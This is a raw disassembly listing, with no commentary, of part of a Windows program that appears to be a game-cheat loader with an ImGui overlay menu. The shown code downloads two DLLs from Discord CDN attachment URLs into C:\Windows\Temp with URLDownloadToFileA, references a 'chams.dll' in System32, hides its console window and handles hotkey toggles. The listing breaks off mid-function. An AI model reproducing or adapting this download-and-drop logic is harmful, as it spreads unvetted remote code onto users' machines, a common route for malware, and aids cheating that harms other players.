movzx eax, word [0x14016c930]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016c928]
movzx eax, byte [0x14016c932]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x168]
movaps xmm1, xmmword [0x14016d2e0]
lea rdx, [rbp + 0x70]
mov eax, dword [0x14016d328]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016d2f0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016d310]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016d320]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016d300]
mov dword [rbp + 0xc8], eax
movzx eax, word [0x14016d32c]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xcc], ax
movzx eax, byte [0x14016d32e]
movaps xmmword [rbp + 0xa0], xmm1
movups xmm1, xmmword [0x14016c9a0]
mov byte [rbp + 0xce], al
movups xmmword [rbp + 0x168], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x178], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016d388]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016d340]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016d350]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016d370]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016d380]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_blanca_1.dll]
mov word [rbp + 0xc8], ax
mov eax, dword [0x14016c970]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x14016c968]
movzx eax, byte [0x14016c974]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016d360]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x44], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1f30]
call fcn.140060790
lea rdx, [0x140052fe0]
lea rcx, [rbp + 0x158]
call fcn.1400607a0
mov rcx, rax
call fcn.140052e30
lea rcx, [rbp + 0x158]
call fcn.14004b010
mov rcx, qword [0x1402051a0]
call fcn.140053040
lea rcx, [0x140236600]
call fcn.1400d54e0
cmp dword [0x1402051f0], r12d
jne 0x14005a309
call fcn.140061210
mov rcx, rax
call fcn.140061170
mov dword [0x1402051f0], eax
call fcn.140061210
mov edx, dword [0x1402051f0]
mov rcx, rax
call fcn.1400610b0
lea rcx, [0x140236600]
call fcn.1400d54e0
cmp byte [0x140236818], r12b
jne 0x14005a34e
lea rcx, [0x140236820]
call fcn.140044be0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [0x14005fe80]
mov dword [rbp + 0x210], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x218], rax
xor ecx, ecx
mov dword [rbp + 0x214], 0x40
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x230], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, [0x14016d3c0]
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x238], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x250], rdi
xor ecx, ecx
mov qword [rbp + 0x248], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x210]
mov qword [rbp + 0x258], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x250]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [rsi + 0x2d]
mov qword [0x1402051c0], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test sil, al
je 0x14005a476
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x14016e920]
lea rdx, [rbp + 0x940]
mov rcx, qword [0x1402051c0]
movdqu xmmword [rbp + 0x940], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1402051c0]
lea rdx, [0x1402051e0]
xorps xmm0, xmm0
movups xmmword [0x1402051e0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1402051c0]
call fcn.14005fc70
test al, al
jne 0x14005a4f1
call fcn.14005fe00
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, esi
add rsp, 0x21e0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [0x1402051c0]
mov edx, 0xa
movaps xmmword [rsp + 0x21d0], xmm6
movaps xmmword [rsp + 0x21c0], xmm7
movaps xmmword [rsp + 0x21b0], xmm8
movaps xmmword [rsp + 0x21a0], xmm9
movaps xmmword [rsp + 0x2190], xmm10
movaps xmmword [rsp + 0x2180], xmm11
movaps xmmword [rsp + 0x2170], xmm12
movaps xmmword [rsp + 0x2160], xmm13
movaps xmmword [rsp + 0x2150], xmm14
movaps xmmword [rsp + 0x2140], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402051c0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017500
xor ecx, ecx
call fcn.140006ba0
call fcn.140008b80
lea rcx, [rbp + 0xce0]
mov rdi, rax
or dword [rax], 3
call fcn.14002a6d0
mov dword [rbp + 0xd2c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002db90
movss xmm6, dword [0x14016e7ac]
lea rdx, [0x140187120]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xce0]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402051b8], rax
call fcn.14002db90
movss xmm3, dword [0x14016e7a4]
lea rdx, [0x140187120]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xce0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002db90
movss xmm3, dword [0x14016e7c4]
lea rdx, [0x1401e02a0]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xce0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205230], rax
call fcn.14002db90
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ba940]
lea rax, [rbp + 0xce0]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205228], rax
call fcn.14002db90
movss xmm3, dword [0x14016e7cc]
lea rdx, [0x1401ba940]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xce0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402051b0], rax
call fcn.14002db90
movss xmm6, dword [0x14016e7b8]
lea rdx, [0x1401e11e0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xce0]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1d0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140205220], rax
call fcn.14002db90
movss xmm10, dword [0x14016e7d8]
lea rdx, [0x1401e1b40]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm10
mov r8d, 0x20fe0
mov qword [rsp + 0x20], r12
mov rcx, rbx
call fcn.14002b1d0
cmp qword [0x140205180], r12
mov qword [rbp + 0x198], rax
jne 0x14005a7df
mov rcx, qword [0x1402051f8]
lea rax, [0x140205180]
mov qword [rsp + 0x30], r12
lea r9, [0x140203f18]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b1650]
mov qword [rsp + 0x20], rcx
mov r8d, 0x5277
mov rcx, qword [0x14023b0c0]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205178], r12
jne 0x14005a826
mov rcx, qword [0x14023b0c0]
lea rax, [0x140205178]
mov qword [rsp + 0x30], r12
lea r9, [0x140203f18]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ad490]
mov rax, qword [0x1402051f8]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205198], r12
jne 0x14005a86d
mov rcx, qword [0x14023b0c0]
lea rax, [0x140205198]
mov qword [rsp + 0x30], r12
lea r9, [0x140203f18]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b68d0]
mov rax, qword [0x1402051f8]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205188], r12
jne 0x14005a8b4
mov rcx, qword [0x14023b0c0]
lea rax, [0x140205188]
mov qword [rsp + 0x30], r12
lea r9, [0x140203f18]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b1420]
mov rax, qword [0x1402051f8]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140205190], r12
jne 0x14005a8fb
mov rcx, qword [0x14023b0c0]
lea rax, [0x140205190]
mov qword [rsp + 0x30], r12
lea r9, [0x140203f18]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b69b0]
mov rax, qword [0x1402051f8]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402051c0]
call fcn.140047100
mov rdx, qword [0x14023b100]
mov rcx, qword [0x14023b0c0]
call fcn.140046c30
xorps xmm7, xmm7
lea rcx, [rbp + 0xcc0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm7
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001f20
movss xmm11, dword [0x14016e718]
xor bl, bl
movss xmm15, dword [0x14016e8e8]
movss xmm13, dword [0x14016e72c]
movss xmm14, dword [0x14016e7e0]
movss xmm12, dword [0x14016e6e0]
movss xmm8, dword [0x14016e7f8]
movss xmm9, dword [0x14016e750]
mov qword [rsp + 0x2210], r13
mov qword [rsp + 0x2218], r14
mov dword [rbp + 0x50], ebx
mov qword [rsp + 0x2220], r15
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xb60]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005aa00
lea rcx, [rbp + 0xb60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb60]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb68], 0x12
lea rcx, [rbp + 0xb60]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005a9b1
mov dword [rbp + 0x50], ebx
test bl, bl
jne 0x14005fbb8
mov ecx, Ordinal_50
call fcn.140055000
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140055000
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140055000
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140055000
mov ecx, WSACleanup
mov byte [rsp + 0x62], al
call fcn.140055000
mov ecx, WSACleanup
mov byte [rsp + 0x63], al
call fcn.140055000
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.140055000
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.140055000
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.140055000
mov ecx, dword [0x14020515c]
movzx r9d, byte [0x14020513e]
movzx r10d, byte [0x14020521d]
movzx r11d, byte [0x1402051af]
movzx ebx, byte [0x140205171]
movzx edi, byte [0x1402051d2]
movzx esi, byte [0x1402051ac]
movzx r14d, byte [0x14020513f]
movzx r15d, byte [0x140205169]
movzx r12d, byte [0x1402051d0]
mov byte [rsp + 0x67], al
cmp ecx, 1
jne 0x14005ab03
test r13b, r13b
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005acc9
cmp byte [0x14020520f], r9b
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 2
jne 0x14005ab3c
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005acbe
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005acc9
cmp byte [0x14020520f], r10b
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 3
jne 0x14005ab75
movzx ecx, byte [rsp + 0x61]
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test cl, cl
je 0x14005acc9
test r11b, r11b
jne 0x14005acc9
cmp byte [0x14020520f], r11b
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 4
jne 0x14005abad
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005acc4
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x14005acc9
cmp byte [0x14020520f], bl
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 5
jne 0x14005abe9
cmp byte [rsp + 0x63], 0
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005acc9
cmp byte [0x14020520f], dil
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 6
jne 0x14005ac25
cmp byte [rsp + 0x64], 0
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005acc9
cmp byte [0x14020520f], sil
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 7
jne 0x14005ac5a
cmp byte [rsp + 0x65], 0
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005acc9
cmp byte [0x14020520f], r14b
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 8
jne 0x14005ac8b
cmp byte [rsp + 0x66], 0
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005acc9
cmp byte [0x14020520f], r15b
sete byte [0x14020520f]
jmp 0x14005acc9
cmp ecx, 9
jne 0x14005acb9
test al, al
je 0x14005acb9
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005acc9
cmp byte [0x14020520f], r12b
sete byte [0x14020520f]
jmp 0x14005acc9
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x14023b000]
cmp eax, 1
jne 0x14005ace5
test r13b, r13b
je 0x14005ad76
test r9b, r9b
jmp 0x14005ad66
cmp eax, 2
jne 0x14005acf7
test dl, dl
je 0x14005ad76
test r10b, r10b
jmp 0x14005ad66
cmp eax, 3
jne 0x14005ad05
test cl, cl
je 0x14005ad76
test r11b, r11b
jmp 0x14005ad66
cmp eax, 4
jne 0x14005ad13
test r8b, r8b
je 0x14005ad76
test bl, bl
jmp 0x14005ad66
cmp eax, 5
jne 0x14005ad24
cmp byte [rsp + 0x63], 0
je 0x14005ad76
test dil, dil
jmp 0x14005ad66
cmp eax, 6
jne 0x14005ad35
cmp byte [rsp + 0x64], 0
je 0x14005ad76
test sil, sil
jmp 0x14005ad66
cmp eax, 7
jne 0x14005ad46
cmp byte [rsp + 0x65], 0
je 0x14005ad76
test r14b, r14b
jmp 0x14005ad66
cmp eax, 8
jne 0x14005ad57
cmp byte [rsp + 0x66], 0
je 0x14005ad76
test r15b, r15b
jmp 0x14005ad66
cmp eax, 9
jne 0x14005ad76
cmp byte [rsp + 0x67], 0
je 0x14005ad76
test r12b, r12b
jne 0x14005ad76
cmp byte [0x14020520e], 0
sete byte [0x14020520e]
mov eax, dword [0x14023b058]
cmp eax, 1
jne 0x14005ad92
test r13b, r13b
je 0x14005ae23
test r9b, r9b
jmp 0x14005ae13
cmp eax, 2
jne 0x14005ada4
test dl, dl
je 0x14005ae23
test r10b, r10b
jmp 0x14005ae13
cmp eax, 3
jne 0x14005adb2
test cl, cl
je 0x14005ae23
test r11b, r11b
jmp 0x14005ae13
cmp eax, 4
jne 0x14005adc0
test r8b, r8b
je 0x14005ae23
test bl, bl
jmp 0x14005ae13
cmp eax, 5
jne 0x14005add1
cmp byte [rsp + 0x63], 0
je 0x14005ae23
test dil, dil
jmp 0x14005ae13
cmp eax, 6
jne 0x14005ade2
cmp byte [rsp + 0x64], 0
je 0x14005ae23
test sil, sil
jmp 0x14005ae13
cmp eax, 7
jne 0x14005adf3
cmp byte [rsp + 0x65], 0
je 0x14005ae23
test r14b, r14b
jmp 0x14005ae13
cmp eax, 8
jne 0x14005ae04
cmp byte [rsp + 0x66], 0
je 0x14005ae23
test r15b, r15b
jmp 0x14005ae13
cmp eax, 9
jne 0x14005ae23
cmp byte [rsp + 0x67], 0
je 0x14005ae23
test r12b, r12b
jne 0x14005ae23
cmp byte [0x140205208], 0
sete byte [0x140205208]
mov eax, dword [0x14023b138]
cmp eax, 1
jne 0x14005ae3f
test r13b, r13b
je 0x14005aed0
test r9b, r9b
jmp 0x14005aec0
cmp eax, 2
jne 0x14005ae51
test dl, dl
je 0x14005aed0
test r10b, r10b
jmp 0x14005aec0
cmp eax, 3
jne 0x14005ae5f
test cl, cl
je 0x14005aed0
test r11b, r11b
jmp 0x14005aec0
cmp eax, 4
jne 0x14005ae6d
test r8b, r8b
je 0x14005aed0
test bl, bl
jmp 0x14005aec0
cmp eax, 5
jne 0x14005ae7e
cmp byte [rsp + 0x63], 0
je 0x14005aed0
test dil, dil
jmp 0x14005aec0
cmp eax, 6
jne 0x14005ae8f
cmp byte [rsp + 0x64], 0
je 0x14005aed0
test sil, sil
jmp 0x14005aec0
cmp eax, 7
jne 0x14005aea0
cmp byte [rsp + 0x65], 0
je 0x14005aed0
test r14b, r14b
jmp 0x14005aec0
cmp eax, 8
jne 0x14005aeb1
cmp byte [rsp + 0x66], 0
je 0x14005aed0
test r15b, r15b
jmp 0x14005aec0
cmp eax, 9
jne 0x14005aed0
cmp byte [rsp + 0x67], 0
je 0x14005aed0
test r12b, r12b
jne 0x14005aed0
cmp byte [0x14020520c], 0
sete byte [0x14020520c]
mov eax, dword [0x14023af90]
cmp eax, 1
jne 0x14005aeec
test r13b, r13b
je 0x14005af7d
test r9b, r9b
jmp 0x14005af6d
cmp eax, 2
jne 0x14005aefe
test dl, dl
je 0x14005af7d
test r10b, r10b
jmp 0x14005af6d
cmp eax, 3
jne 0x14005af0c
test cl, cl
je 0x14005af7d
test r11b, r11b
jmp 0x14005af6d
cmp eax, 4
jne 0x14005af1a
test r8b, r8b
je 0x14005af7d
test bl, bl
jmp 0x14005af6d
cmp eax, 5
jne 0x14005af2b
cmp byte [rsp + 0x63], 0
je 0x14005af7d
test dil, dil
jmp 0x14005af6d
cmp eax, 6
jne 0x14005af3c
cmp byte [rsp + 0x64], 0
je 0x14005af7d
test sil, sil
jmp 0x14005af6d
cmp eax, 7
jne 0x14005af4d
cmp byte [rsp + 0x65], 0
je 0x14005af7d
test r14b, r14b
jmp 0x14005af6d
cmp eax, 8
jne 0x14005af5e
cmp byte [rsp + 0x66], 0
je 0x14005af7d
test r15b, r15b
jmp 0x14005af6d
cmp eax, 9
jne 0x14005af7d
cmp byte [rsp + 0x67], 0
je 0x14005af7d
test r12b, r12b
jne 0x14005af7d
cmp byte [0x14020520a], 0
sete byte [0x14020520a]
mov eax, dword [0x14020516c]
cmp eax, 1
jne 0x14005af99
test r13b, r13b
je 0x14005b02a
test r9b, r9b
jmp 0x14005b01a
cmp eax, 2
jne 0x14005afab
test dl, dl
je 0x14005b02a
test r10b, r10b
jmp 0x14005b01a
cmp eax, 3
jne 0x14005afb9
test cl, cl
je 0x14005b02a
test r11b, r11b
jmp 0x14005b01a
cmp eax, 4
jne 0x14005afc7
test r8b, r8b
je 0x14005b02a
test bl, bl
jmp 0x14005b01a
cmp eax, 5
jne 0x14005afd8
cmp byte [rsp + 0x63], 0
je 0x14005b02a
test dil, dil
jmp 0x14005b01a
cmp eax, 6
jne 0x14005afe9
cmp byte [rsp + 0x64], 0
je 0x14005b02a
test sil, sil
jmp 0x14005b01a
cmp eax, 7
jne 0x14005affa
cmp byte [rsp + 0x65], 0
je 0x14005b02a
test r14b, r14b
jmp 0x14005b01a
cmp eax, 8
jne 0x14005b00b
cmp byte [rsp + 0x66], 0
je 0x14005b02a
test r15b, r15b
jmp 0x14005b01a
cmp eax, 9
jne 0x14005b02a
cmp byte [rsp + 0x67], 0
je 0x14005b02a
test r12b, r12b
jne 0x14005b02a
cmp byte [0x140205210], 0
sete byte [0x140205210]
mov eax, dword [0x140205160]
cmp eax, 1
jne 0x14005b051
test r13b, r13b
je 0x14005b0ae
test r9b, r9b
jne 0x14005b0ae
cmp byte [0x140205207], 0
sete al
mov byte [0x140205207], al
jmp 0x14005b0b5
cmp eax, 2
jne 0x14005b05f
test dl, dl
je 0x14005b0ae
test r10b, r10b
jmp 0x14005b03d
cmp eax, 3
jne 0x14005b06d
test cl, cl
je 0x14005b0ae
test r11b, r11b
jmp 0x14005b03d
cmp eax, 4
jne 0x14005b07b
test r8b, r8b
je 0x14005b0ae
test bl, bl
jmp 0x14005b03d
cmp eax, 5
jne 0x14005b08c
cmp byte [rsp + 0x63], 0
je 0x14005b0ae
test dil, dil
jmp 0x14005b03d
cmp eax, 6
jne 0x14005b09d
cmp byte [rsp + 0x64], 0
je 0x14005b0ae
test sil, sil
jmp 0x14005b03d
cmp eax, 7
jne 0x14005b0ae
cmp byte [rsp + 0x65], 0
je 0x14005b0ae
test r14b, r14b
jmp 0x14005b03d
movzx eax, byte [0x140205207]
mov ecx, dword [0x140205174]
cmp ecx, 8
jne 0x14005b0cc
cmp byte [rsp + 0x66], 0
je 0x14005b0e6
test r15b, r15b
jmp 0x14005b0db
cmp ecx, 9
jne 0x14005b0e6
cmp byte [rsp + 0x67], 0
je 0x14005b0e6
test r12b, r12b
jne 0x14005b0e6
test al, al
sete byte [0x140205207]
mov r8d, dword [0x1402051f4]
cmp r8d, 1
jne 0x14005b11a
test r13b, r13b
je 0x14005b1b3
test r9b, r9b
jne 0x14005b1b3
cmp byte [0x140205206], 0
sete dl
mov byte [0x140205206], dl
jmp 0x14005b1ba
cmp r8d, 2
jne 0x14005b12d
test dl, dl
je 0x14005b1b3
test r10b, r10b
jmp 0x14005b0ff
cmp r8d, 3
jne 0x14005b13f
cmp byte [rsp + 0x61], 0
je 0x14005b1b3
test r11b, r11b
jmp 0x14005b0ff
cmp r8d, 4
jne 0x14005b150
cmp byte [rsp + 0x62], 0
je 0x14005b1b3
test bl, bl
jmp 0x14005b0ff
cmp r8d, 5
jne 0x14005b162
cmp byte [rsp + 0x63], 0
je 0x14005b1b3
test dil, dil
jmp 0x14005b0ff
cmp r8d, 6
jne 0x14005b174
cmp byte [rsp + 0x64], 0
je 0x14005b1b3
test sil, sil
jmp 0x14005b0ff
cmp r8d, 7
jne 0x14005b189
cmp byte [rsp + 0x65], 0
je 0x14005b1b3
test r14b, r14b
jmp 0x14005b0ff
cmp r8d, 8
jne 0x14005b19e
cmp byte [rsp + 0x66], 0
je 0x14005b1b3
test r15b, r15b
jmp 0x14005b0ff
cmp r8d, 9
jne 0x14005b1b3
cmp byte [rsp + 0x67], 0
je 0x14005b1b3
test r12b, r12b
jmp 0x14005b0ff
movzx edx, byte [0x140205206]
cmp ecx, 1
jne 0x14005b1e9
test r13b, r13b
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005b34d
cmp byte [0x140205205], r9b
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 2
jne 0x14005b217
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005b34d
test r10b, r10b
jne 0x14005b34d
cmp byte [0x140205205], r10b
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 3
jne 0x14005b248
cmp byte [rsp + 0x61], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005b34d
cmp byte [0x140205205], r11b
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 4
jne 0x14005b277
cmp byte [rsp + 0x62], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005b34d
cmp byte [0x140205205], bl
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 5
jne 0x14005b2a8
cmp byte [rsp + 0x63], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005b34d
cmp byte [0x140205205], dil
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 6
jne 0x14005b2d6
cmp byte [rsp + 0x64], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005b34d
cmp byte [0x140205205], sil
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 7
jne 0x14005b2fc
cmp byte [rsp + 0x65], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005b34d
cmp byte [0x140205205], r14b
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 8
jne 0x14005b322
cmp byte [rsp + 0x66], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005b34d
cmp byte [0x140205205], r15b
sete byte [0x140205205]
jmp 0x14005b34d
cmp ecx, 9
jne 0x14005b348
cmp byte [rsp + 0x67], 0
je 0x14005b348
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005b34d
cmp byte [0x140205205], r12b
sete byte [0x140205205]
jmp 0x14005b34d
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140205164]
cmp eax, 1
jne 0x14005b369
test r13b, r13b
je 0x14005b3ff
test r9b, r9b
jmp 0x14005b3ef
cmp eax, 2
jne 0x14005b37b
test cl, cl
je 0x14005b3ff
test r10b, r10b
jmp 0x14005b3ef
cmp eax, 3
jne 0x14005b38c
cmp byte [rsp + 0x61], 0
je 0x14005b3ff
test r11b, r11b
jmp 0x14005b3ef
cmp eax, 4
jne 0x14005b39c
cmp byte [rsp + 0x62], 0
je 0x14005b3ff
test bl, bl
jmp 0x14005b3ef
cmp eax, 5
jne 0x14005b3ad
cmp byte [rsp + 0x63], 0
je 0x14005b3ff
test dil, dil
jmp 0x14005b3ef
cmp eax, 6
jne 0x14005b3be
cmp byte [rsp + 0x64], 0
je 0x14005b3ff
test sil, sil
jmp 0x14005b3ef
cmp eax, 7
